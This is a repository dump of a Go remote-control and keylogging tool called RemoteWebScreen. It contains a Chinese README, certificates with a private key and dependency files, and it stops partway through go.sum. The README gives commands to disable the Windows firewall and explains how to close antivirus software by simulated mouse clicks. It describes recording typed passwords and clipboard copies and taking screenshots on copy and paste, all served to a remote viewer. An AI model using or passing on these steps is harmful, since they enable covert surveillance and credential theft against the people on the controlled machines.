├── README.md ├── RemoteWebScreen.p12 ├── certs ├── ca.pem ├── server.key └── server.pem ├── go.mod ├── go.sum ├── images ├── image-20231124095233832.png ├── image-20231124101333602.png ├── image-20231124101600198.png └── image-20231124101731491.png ├── index.html ├── keyboard ├── Keyboard.go ├── call_back.go ├── dump.go └── misc.go ├── main.go ├── server ├── keymouevent.go ├── screen.go └── screenshotHandler.go ├── static └── pako.min.js └── win32 ├── define.go └── win32.go /README.md: -------------------------------------------------------------------------------- 1 | # RemoteWebScreen 2 | 3 | ## 项目概述 4 | 5 | 本项目是一个远程控制应用,使用 Golang 开发,允许用户通过 Web 界面远程控制和屏幕监控其他计算机。主要功能包括屏幕共享、鼠标和键盘控制以及键盘记录。 6 | 7 | ## 目录结构 8 | 9 | ``` 10 | RemoteWebScreen/ 11 | ├── server/ # 服务器端代码 12 | │ ├── keymouevent.go # WebSocket和鼠标和键盘通信逻辑 13 | │ ├── screen.go # 截图 14 | │ └── screenshotHandler.go# 屏幕共享逻辑 15 | │ 16 | ├── certs/ # 证书 17 | │ ├── cert.pem # cert 18 | │ └── key.pem # key 19 | │ 20 | ├── static/ # 前端静态文件 21 | │ └── pako.min.js # 主HTML文件 22 | │ 23 | ├── keyboard/ # 键盘记录相关模块 24 | │ ├── call_back.go # 鼠标键盘回调函数 25 | │ ├── dump.go # 保存键盘记录以及剪切板截图操作 26 | │ ├── Keyboard.go # 启动键盘记录 27 | │ └── misc.go # 相关函数 28 | │ 29 | ├── win32/ # 键盘记录相关配置 30 | │ ├── define.go # 键盘对应表 31 | │ └── win32.go # hook设置 32 | │ 33 | ├── main.go # 应用程序的主入口点 34 | │ 35 | ├── index.html # 前端代码 36 | │ 37 | └── go.mod # Go模块定义 38 | ``` 39 | ## 主要组件 40 | 41 | 1. **WebSocket 通信**:使用 `github.com/gorilla/websocket` 包实现服务端和客户端之间的实时通信。 42 | 2. **屏幕控制**:使用 `github.com/go-vgo/robotgo` 包进行鼠标键盘控制。 43 | 3. **屏幕捕获**:`"github.com/kbinani/screenshot"`包进行屏幕捕获 44 | 4. **证书加密**:使用`https`和`wss`方式进行传输。 45 | 5. **前端界面**:HTML/CSS/JavaScript 实现,用于显示远程屏幕和发送控制命令。 46 | 47 | 扩展屏鼠标移动算法 48 | ``` 49 | 主屏分辨率<扩展屏的分辨率{ 50 | 扩展屏的分辨率 := bounds.Dx() * (主屏分辨率 / (screen.W-bounds.Min.X)) 51 | }else{ 52 | 扩展屏的分辨率 := 主屏分辨率 * bounds.Min.X+bounds.Dx() / screen.W 53 | } 54 | ``` 55 | 56 | ## 工具使用 57 | 58 | 注:启动工具时,关闭一下防火墙。此工具基于正向连接,所以会在被控端启动端口。 59 | 60 | ``` 61 | Windows server 2003及之前版本: 62 | netsh firewall set opmode disable #关闭 63 | netsh firewall set opmode enable #开启 64 | Windows server 2003之后版本: 65 | netsh advfirewall set allprofiles state off #关闭 66 | netsh advfirewall set allprofiles state on #开启 67 | ``` 68 | 69 | ``` 70 | RemoteWebScreen.exe start #默认443 71 | RemoteWebScreen.exe start [端口号] 72 | ``` 73 | 74 | ``` 75 | https://IP:端口号/:端口号 #屏幕控制 76 | https://IP:端口号/:端口号log #键盘记录 77 | ``` 78 | 79 | ### 屏幕控制 80 | 81 | 注:非管理员运行时启动任务管理器,鼠标键盘控制会被禁止。 82 | 83 | 访问`https://IP:端口号/:端口号`。访问需要安装证书 84 | 85 | ![image-20231124095233832](/images/image-20231124095233832.png) 86 | 87 | 以上三处分别为,`切换到扩展屏`、`鼠标键盘控制`、`画质修改`。 88 | 89 | **退出杀软** 90 | 91 | 可以直接通过模拟鼠标退出`火绒`。其他杀软未测试,针对`360`因为360有HOOK鼠标键盘操作所以不建议使用鼠标键盘控制,因为会失效。 92 | 93 | ![image-20231124101731491](/images/image-20231124101731491.png) 94 | 95 | ### 键盘记录 96 | 97 | 注:项目结束时请清理生成的文件 98 | 99 | 访问`https://IP:端口号/:端口号log ` 100 | 101 | 当有键盘记录时会生成记录文件到以下目录 102 | 103 | ``` 104 | %tmp%/screen_log/templog.tmp #注:键盘记录 105 | %tmp%/screen/2006_01_02_15_04_05_04.png #注:截屏记录 106 | ``` 107 | 108 | ![image-20231124101333601](/images/image-20231124101333602.png) 109 | 110 | 通过上图可以记录到输入的账号密码,同时当用户打开密码本复制密码时,也能获取`Ctrl+c/v`,同时当用户进行复制和粘贴操作时会截一张图。 111 | 112 | ![image-20231124101600198](/images/image-20231124101600198.png) 113 | 114 | ## 安装证书 115 | 116 | 双击安装证书 117 | 118 | ``` 119 | RemoteWebScreen.p12 #密码:RemoteWebScreen 120 | ``` 121 | 注:小技巧,缩放浏览器也可以调节画面清晰度。欢迎issues 122 | 123 | **仅供技术研究使用,请勿用于非法用途,否则后果作者概不负责** 124 | -------------------------------------------------------------------------------- /RemoteWebScreen.p12: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p1d3er/RemoteWebScreen/6ce4a2a98c66512c28a0ff60cf6e2f0079c344cd/RemoteWebScreen.p12 -------------------------------------------------------------------------------- /certs/ca.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDazCCAlOgAwIBAgIUBqR5JCntFLIlY/V7hDn3GO99Ko8wDQYJKoZIhvcNAQEL 3 | BQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM 4 | GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0yMzExMjkwODM1NDZaFw0yNjA5 5 | MTgwODM1NDZaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEw 6 | HwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggEiMA0GCSqGSIb3DQEB 7 | AQUAA4IBDwAwggEKAoIBAQDnVQJIZ+OYVGafZ9fSpo2D0pYcj4cpeO7NHydIUJgL 8 | E245LTIWoSaqr/tSUTQ7H+3fjGoG4anAB7JmSMRgQR9ttlI4zPXI7Q7lvbgegAIm 9 | H9eOQPMz6XyRnIckCle3RgwVqfnpGWhS8CimOi7CojOZzcxJQfgbgIWIx4qniYlK 10 | K+LY0OndUZNUOYUaBiJgjpPGvbuYJ02/jHpACVcST/74QLGMyc88fattSw1QRSEi 11 | kxEP3/zdkKnG3mrW7bIg5xACpAY5kZOKDLDyUKAywJJq2a+iX7V2fcCRDN4KQhSO 12 | HOhurcKuqQSj8hg3Y/+5GLgTEyDAqDR8oOcXAcdbuMuFAgMBAAGjUzBRMB0GA1Ud 13 | DgQWBBRuyt8Hde8AC3VMkvDQWdEz9X1meDAfBgNVHSMEGDAWgBRuyt8Hde8AC3VM 14 | kvDQWdEz9X1meDAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQAd 15 | calps7Sci1SaGkDuPXQqT56X00IzYS8BdJ1Xsa/gaDiqfOd/hiaQ+odBNaxnkQfE 16 | vSy38wvNyq9iRtuumbMjEv+3NJsY5z/dyoa+5QSSHoBK1H3njTZml6jD96NmORGo 17 | O/x8QOBlcvd4kS/3fT2QIGzig2aT1qp2IF4evQD+44RANRyqhA8FvY6Ktc7Hv3oU 18 | QyRuiQNn9ktqLa7lbVr64NXhqiTQ4KY5hdd3qAKtAJe2JgdHllfPgTYVeVzB94jo 19 | Vf1HcEsuLxM1OTpWav4Qw917JxyjwucqXabJZsp1Ma33eO/6KcvxJc4cBdWPiwWq 20 | mynscHKWJ1u0JPeOGsKr 21 | -----END CERTIFICATE----- 22 | -------------------------------------------------------------------------------- /certs/server.key: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDrUzzti8ilZDNg 3 | ShMikoY0JwWaR0IWJcD0q5p7fiDmFhqi6Zh38j6cw8laWQs24JFpQTY6Nf6KTIbX 4 | Rtn27TV1gAXzE57NCva1CQnPAbrdgiWflT+Wruy5yvqRvfJ25x0TcD2nZqIOqpgj 5 | fkfE1frDlrEiizd1xglN1+TWz2olUFeouv4YECCDZAndWtjy0ttyJOcwQdQRR4cW 6 | MGAQs/7gqGpQQBx6Dbw46zZS7yiDzHiFq54IBDf5JFvskdvjnqDzLy8i+aoV7JMn 7 | qcwr34dD98k/qcwF15bAadH3NJtaMCgOnz6/jLxtPKNIDX4ZBM5x94zOnYNwNFfa 8 | KN1Y3XrtAgMBAAECggEAEZoKRqJcAbL6/MrNn5piG2iHzMBjuxBb3HExfucyQsOI 9 | foMGeoJOGJ+0YeOjKRmnBr5v9e6v+Vw8AcI073lStFU9HK9tA108ktH4P9mbRpJD 10 | iio5tWWkI0mBcIFKr4Yd8KRGmEze9kXgV1dMuvZeaV7OJQ1QuqhzbbUmUsL055F0 11 | IVb4fuyP1uVGr/Q2yq7SU/mcNzrHPrtYivRfOymFrEKVdUOT0aAtopsFJCa2PDZA 12 | IqoTVanjGuwoCjrYyYGqLZT2hKsLG3QF7aeXS18udknA83BF+QWKlfPNwK1hWwW3 13 | 0ZSDTTsHFcn56Mm5DuuIPUXk/byiWXrXLosMfxv6AQKBgQD8rdaeMeu8FkvSZvgG 14 | 28nNu7v8epEw3lSJJmNwu4T4RbPbeTDCrVjQnQ1cyEqMegHLp04mugxYsw87P4Ql 15 | qifkocG+40nns2Ez8wx4p9Igl2fuMIP+T2jQ9G2q/RqQICdJfv8JVqe2MG02asGy 16 | 5vP1ikW/dFNlFECIwRcI14morQKBgQDuawLG/mxRBv3QNFQN/u2it4/dnCcpBXvb 17 | CSIncfjGLDpX6KhPMAk/cGHiW8D/vK8wAahAEM2H6eTtX0xuc2iMGlMCE4c+3CqU 18 | 6H9nn7S77j94m5CvCr83q7DBvhcDX0QmxUtZ+spE97ca1WCWNRBec3AXUg7JwEOS 19 | ckFnWYIjQQKBgH3cCT8bFpTFdlcDOyAPcmGr1WNZmeCBnhICsR2CCiWwcnorz4Ho 20 | 3ohq8jD5A0kdrK9IUsEvgt7bsgaNCMHKE7zqZZszk6h5zT0XH2sqDJx3TilyuQx/ 21 | eXI7jjTRhd2sZmVRgK+iHj+9t2iXnIwERhhUG5HV24RJpit4IoUg90yxAoGAH72l 22 | aAK1PvBUWCSvUBGxZ2lSwOkqGX7+Z0HHB0NYIGIA/nUd+zTk9koq7ezTO/jNxfFi 23 | iezyv/Z2oNeAIHBC6ewTQwKAjfDXxm1RkOUlNaPZVWA4meUvYeT8qj55Z9yGATdg 24 | +cC2rwnfmbXwnu6/mCN8N86X42oyVMvbQzwaZEECgYAykvt02qyRtPgSIGSrZNDk 25 | /R5rUupR+Dbc+FtV/AFadECN07vJt+vZ/1/nO5wzes76HkQfkkxyFYJ5N657o3fk 26 | 6y9JJ6cf+VZ8vDx/aU7z6l950QsqWRC4kZpxS9FgIwF0DDyICmAxkgEIOpHsmZIb 27 | 38j75ZJuX2peMQGL/MtU5g== 28 | -----END PRIVATE KEY----- 29 | -------------------------------------------------------------------------------- /certs/server.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDETCCAfkCFE2GUysbEdrYV4VCEJjEFYJJxzSQMA0GCSqGSIb3DQEBCwUAMEUx 3 | CzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRl 4 | cm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMjMxMTI5MDgzNjA5WhcNMjUwNDEyMDgz 5 | NjA5WjBFMQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UE 6 | CgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOC 7 | AQ8AMIIBCgKCAQEA61M87YvIpWQzYEoTIpKGNCcFmkdCFiXA9Kuae34g5hYaoumY 8 | d/I+nMPJWlkLNuCRaUE2OjX+ikyG10bZ9u01dYAF8xOezQr2tQkJzwG63YIln5U/ 9 | lq7sucr6kb3yducdE3A9p2aiDqqYI35HxNX6w5axIos3dcYJTdfk1s9qJVBXqLr+ 10 | GBAgg2QJ3VrY8tLbciTnMEHUEUeHFjBgELP+4KhqUEAceg28OOs2Uu8og8x4haue 11 | CAQ3+SRb7JHb456g8y8vIvmqFeyTJ6nMK9+HQ/fJP6nMBdeWwGnR9zSbWjAoDp8+ 12 | v4y8bTyjSA1+GQTOcfeMzp2DcDRX2ijdWN167QIDAQABMA0GCSqGSIb3DQEBCwUA 13 | A4IBAQBjNkh1AuWPd5cKY5rRYfdc1QWEjF3uAP8Os9mH1DQLozdshmMCIM1aJYm7 14 | s1/0XipaHKxPFKdrSVOul1qbtN4+W/mleGt52/S1ytVQGLr1DRDCplho8AfqyE75 15 | PtYKZjtat5CcP+5p295XNNurY0zM2alt+yw/vxCW2kOKvIKZ9riERx+kzC+OXTEs 16 | loSOg7mDUCId/0jsVsXEOryYa+iV4W7xjHHQTo5OntYD2TPLtFQyH04g5FKUfxgt 17 | VUsI4Tgf29t9eckd2ErBx1Xe6qcQKlL012QS/x1WGZcN0uhEEdAYDKC80GhUxMnk 18 | rN8tqqjgx0+8FRyvnNlRQUdi12vy 19 | -----END CERTIFICATE----- 20 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module RemoteWebScreen 2 | 3 | go 1.20 4 | 5 | require ( 6 | github.com/atotto/clipboard v0.1.4 7 | github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 8 | github.com/go-vgo/robotgo v0.110.0 9 | github.com/gorilla/websocket v1.5.1 10 | github.com/kbinani/screenshot v0.0.0-20230812210009-b87d31814237 11 | github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 12 | ) 13 | 14 | require ( 15 | github.com/gen2brain/shm v0.0.0-20230802011745-f2460f5984f7 // indirect 16 | github.com/go-ole/go-ole v1.3.0 // indirect 17 | github.com/jezek/xgb v1.1.0 // indirect 18 | github.com/lufia/plan9stats v0.0.0-20230326075908-cb1d2100619a // indirect 19 | github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect 20 | github.com/otiai10/gosseract v2.2.1+incompatible // indirect 21 | github.com/power-devops/perfstat v0.0.0-20221212215047-62379fc7944b // indirect 22 | github.com/robotn/xgb v0.0.0-20190912153532-2cb92d044934 // indirect 23 | github.com/robotn/xgbutil v0.0.0-20190912154524-c861d6f87770 // indirect 24 | github.com/shirou/gopsutil/v3 v3.23.8 // indirect 25 | github.com/shoenig/go-m1cpu v0.1.6 // indirect 26 | github.com/tklauser/go-sysconf v0.3.12 // indirect 27 | github.com/tklauser/numcpus v0.6.1 // indirect 28 | github.com/vcaesar/gops v0.30.2 // indirect 29 | github.com/vcaesar/imgo v0.40.0 // indirect 30 | github.com/vcaesar/keycode v0.10.1 // indirect 31 | github.com/vcaesar/tt v0.20.0 // indirect 32 | github.com/yusufpapurcu/wmi v1.2.3 // indirect 33 | golang.org/x/image v0.12.0 // indirect 34 | golang.org/x/net v0.17.0 // indirect 35 | golang.org/x/sys v0.13.0 // indirect 36 | ) 37 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/BurntSushi/freetype-go v0.0.0-20160129220410-b763ddbfe298/go.mod h1:D+QujdIlUNfa0igpNMk6UIvlb6C252URs4yupRUV4lQ= 2 | github.com/BurntSushi/graphics-go v0.0.0-20160129215708-b43f31a4a966/go.mod h1:Mid70uvE93zn9wgF92A/r5ixgnvX8Lh68fxp9KQBaI0= 3 | github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4= 4 | github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI= 5 | github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 h1:OYA+5W64v3OgClL+IrOD63t4i/RW7RqrAVl9LTZ9UqQ= 6 | github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394/go.mod h1:Q8n74mJTIgjX4RBBcHnJ05h//6/k6foqmgE45jTQtxg= 7 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 8 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 9 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 10 | github.com/gen2brain/shm v0.0.0-20230802011745-f2460f5984f7 h1:VLEKvjGJYAMCXw0/32r9io61tEXnMWDRxMk+peyRVFc= 11 | github.com/gen2brain/shm v0.0.0-20230802011745-f2460f5984f7/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo= 12 | github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= 13 | github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE= 14 | github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78= 15 | github.com/go-vgo/robotgo v0.110.0 h1:655fmWO4yD5dn/y70Z50wdxnqg2LvmRD+MZ1iOXuGI0= 16 | github.com/go-vgo/robotgo v0.110.0/go.mod h1:DdJUdi6mEU8ttHMbow6hKD1TjgsfgJC/H+4dusok8Uw= 17 | github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 18 | github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= 19 | github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 20 | github.com/gorilla/websocket v1.5.1 h1:gmztn0JnHVt9JZquRuzLw3g4wouNVzKL15iLr/zn/QY= 21 | github.com/gorilla/websocket v1.5.1/go.mod h1:x3kM2JMyaluk02fnUJpQuwD2dCS5NDG2ZHL0uE0tcaY= 22 | github.com/jezek/xgb v1.1.0 h1:wnpxJzP1+rkbGclEkmwpVFQWpuE2PUGNUzP8SbfFobk= 23 | github.com/jezek/xgb v1.1.0/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk= 24 | github.com/kbinani/screenshot v0.0.0-20230812210009-b87d31814237 h1:YOp8St+CM/AQ9Vp4XYm4272E77MptJDHkwypQHIRl9Q= 25 | github.com/kbinani/screenshot v0.0.0-20230812210009-b87d31814237/go.mod h1:e7qQlOY68wOz4b82D7n+DdaptZAi+SHW0+yKiWZzEYE= 26 | github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I= 27 | github.com/lufia/plan9stats v0.0.0-20230326075908-cb1d2100619a h1:N9zuLhTvBSRt0gWSiJswwQ2HqDmtX/ZCDJURnKUt1Ik= 28 | github.com/lufia/plan9stats v0.0.0-20230326075908-cb1d2100619a/go.mod h1:JKx41uQRwqlTZabZc+kILPrO/3jlKnQ2Z8b7YiVw5cE= 29 | github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc= 30 | github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk= 31 | github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ= 32 | github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8= 33 | github.com/otiai10/gosseract v2.2.1+incompatible h1:Ry5ltVdpdp4LAa2bMjsSJH34XHVOV7XMi41HtzL8X2I= 34 | github.com/otiai10/gosseract v2.2.1+incompatible/go.mod h1:XrzWItCzCpFRZ35n3YtVTgq5bLAhFIkascoRo8G32QE= 35 | github.com/otiai10/mint v1.3.0 h1:Ady6MKVezQwHBkGzLFbrsywyp09Ah7rkmfjV3Bcr5uc= 36 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 37 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 38 | github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE= 39 | github.com/power-devops/perfstat v0.0.0-20221212215047-62379fc7944b h1:0LFwY6Q3gMACTjAbMZBjXAqTOzOwFaj2Ld6cjeQ7Rig= 40 | github.com/power-devops/perfstat v0.0.0-20221212215047-62379fc7944b/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE= 41 | github.com/robotn/xgb v0.0.0-20190912153532-2cb92d044934 h1:2lhSR8N3T6I30q096DT7/5AKEIcf1vvnnWAmS0wfnNY= 42 | github.com/robotn/xgb v0.0.0-20190912153532-2cb92d044934/go.mod h1:SxQhJskUJ4rleVU44YvnrdvxQr0tKy5SRSigBrCgyyQ= 43 | github.com/robotn/xgbutil v0.0.0-20190912154524-c861d6f87770 h1:2uX8QRLkkxn2EpAQ6I3KhA79BkdRZfvugJUzJadiJwk= 44 | github.com/robotn/xgbutil v0.0.0-20190912154524-c861d6f87770/go.mod h1:svkDXUDQjUiWzLrA0OZgHc4lbOts3C+uRfP6/yjwYnU= 45 | github.com/shirou/gopsutil/v3 v3.23.8 h1:xnATPiybo6GgdRoC4YoGnxXZFRc3dqQTGi73oLvvBrE= 46 | github.com/shirou/gopsutil/v3 v3.23.8/go.mod h1:7hmCaBn+2ZwaZOr6jmPBZDfawwMGuo1id3C6aM8EDqQ= 47 | github.com/shoenig/go-m1cpu v0.1.6 h1:nxdKQNcEB6vzgA2E2bvzKIYRuNj7XNJ4S/aRSwKzFtM= 48 | github.com/shoenig/go-m1cpu v0.1.6/go.mod h1:1JJMcUBvfNwpq05QDQVAnx3gUHr9IYF7GNg9SUEw2VQ= 49 | github.com/shoenig/test v0.6.4 h1:kVTaSd7WLz5WZ2IaoM0RSzRsUD+m8wRR+5qvntpn4LU= 50 | github.com/shoenig/test v0.6.4/go.mod h1:byHiCGXqrVaflBLAMq/srcZIHynQPQgeyvkvXnjqq0k= 51 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 52 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 53 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= 54 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 55 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 56 | github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= 57 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= 58 | github.com/tklauser/go-sysconf v0.3.12 h1:0QaGUFOdQaIVdPgfITYzaTegZvdCjmYO52cSFAEVmqU= 59 | github.com/tklauser/go-sysconf v0.3.12/go.mod h1:Ho14jnntGE1fpdOqQEEaiKRpvIavV0hSfmBq8nJbHYI= 60 | github.com/tklauser/numcpus v0.6.1 h1:ng9scYS7az0Bk4OZLvrNXNSAO2Pxr1XXRAPyjhIx+Fk= 61 | github.com/tklauser/numcpus v0.6.1/go.mod h1:1XfjsgE2zo8GVw7POkMbHENHzVg3GzmoZ9fESEdAacY= 62 | github.com/vcaesar/gops v0.30.2 h1:fANyUGCjLkfcYmJRVnXv+QZhT8cL2e0GWpRFZe58p/4= 63 | github.com/vcaesar/gops v0.30.2/go.mod h1:2NSA2Q9M1irGnGD9tWdo0Z+MwKjUj4Q4EgUDukN/Vsk= 64 | github.com/vcaesar/imgo v0.40.0 h1:okI1eonRAfGLzjqgTIBkUwhm4j/rH19qGno4eFOBQsc= 65 | github.com/vcaesar/imgo v0.40.0/go.mod h1:E5uI53XkEfbI20VvcIZ/19G2hHidPfH9h4NtQooEY+8= 66 | github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw= 67 | github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ= 68 | github.com/vcaesar/tt v0.20.0 h1:9t2Ycb9RNHcP0WgQgIaRKJBB+FrRdejuaL6uWIHuoBA= 69 | github.com/vcaesar/tt v0.20.0/go.mod h1:GHPxQYhn+7OgKakRusH7KJ0M5MhywoeLb8Fcffs/Gtg= 70 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= 71 | github.com/yusufpapurcu/wmi v1.2.3 h1:E1ctvB7uKFMOJw3fdOW32DwGE9I7t++CRUEMKvFoFiw= 72 | github.com/yusufpapurcu/wmi v1.2.3/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= 73 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 74 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 75 | golang.org/x/image v0.12.0 h1:w13vZbU4o5rKOFFR8y7M+c4A5jXDC0uXTdHYRP8X2DQ= 76 | golang.org/x/image v0.12.0/go.mod h1:Lu90jvHG7GfemOIcldsh9A2hS01ocl6oNO7ype5mEnk= 77 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= 78 | golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= 79 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 80 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 81 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= 82 | golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= 83 | golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= 84 | golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= 85 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 86 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 87 | golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 88 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 89 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 90 | golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 91 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 92 | golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 93 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 94 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 95 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 96 | golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 97 | golang.org/x/sys 